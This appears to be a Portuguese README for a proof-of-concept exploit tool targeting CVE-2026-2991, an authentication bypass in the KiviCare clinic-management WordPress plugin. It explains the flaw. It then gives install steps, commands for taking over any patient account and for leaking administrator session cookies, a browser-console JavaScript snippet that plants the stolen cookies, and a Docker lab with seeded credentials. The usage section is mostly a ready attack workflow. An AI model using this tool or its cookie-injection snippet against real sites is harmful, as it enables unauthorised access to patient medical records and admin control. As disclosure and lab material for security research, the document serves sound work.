
PoC exploit para CVE-2026-2991 — bypass de autenticação no plugin KiviCare para WordPress (≤4.1.2) permitindo a tomada de conta de paciente sem autenticação e a extração de sessão de administrador.
O CVE-2026-2991 é uma vulnerabilidade de bypass de autenticação no plugin WordPress KiviCare – Clinic & Patient Management System (EHR) que afeta todas as versões até e incluindo a 4.1.2.
O plugin expõe um endpoint REST público em /wp-json/kivicare/v1/auth/patient/social-login que autentica usuários via login social. A função patientSocialLogin() aceita um endereço de e-mail e um token de acesso, mas nunca valida o token junto ao provedor social informado. Qualquer atacante não autenticado pode entrar como qualquer paciente registrado fornecendo apenas o e-mail e uma string arbitrária como token.
Além disso, os cookies de autenticação do WordPress são emitidos antes da verificação do papel de paciente ser aplicada. Isso significa que, para contas que não são de pacientes (incluindo administradores), a resposta retorna HTTP 403, mas ainda inclui cabeçalhos Set-Cookie válidos — vazando uma sessão de administrador reutilizável para o atacante.
Versões afetadas: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
Contorne a autenticação de um paciente registrado. O script retorna a sessão completa, incluindo um nonce e cookies reutilizáveis.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Forneça o e-mail de qualquer usuário que não seja paciente (por exemplo, um administrador). O endpoint emite cookies de autenticação válidos antes da verificação de papel e retorna 403 — esses cookies são extraídos e impressos.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

Após uma execução bem-sucedida, o script imprime um trecho de JavaScript. Abra o site alvo no navegador, cole o trecho no console do navegador (F12 → Console) e pressione Enter — ele define os cookies roubados e navega automaticamente para o painel.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
Um ambiente Docker Compose autocontido com o plugin vulnerável pré-instalado e populado com dados de teste realistas. Consulte DOCKER.md para mais detalhes.
cd docker/
docker compose up
O laboratório popula as seguintes contas na primeira inicialização:
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa. O criador não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.
| Papel | Usuário | Senha |
|---|
| Administrador | admin | [email protected] | admin |
| Médico | dr.harris | [email protected] | Doctor@123 |
| Médico | dr.chen | [email protected] | Doctor@123 |
| Médico | dr.okonkwo | [email protected] | Doctor@123 |
| Paciente | james.ford | [email protected] | Patient@123 |
| Paciente | sofia.reyes | [email protected] | Patient@123 |
| Paciente | oliver.knight | [email protected] | Patient@123 |
| Paciente | amara.diallo | [email protected] | Patient@123 |
| Paciente | dan.walsh | [email protected] | Patient@123 |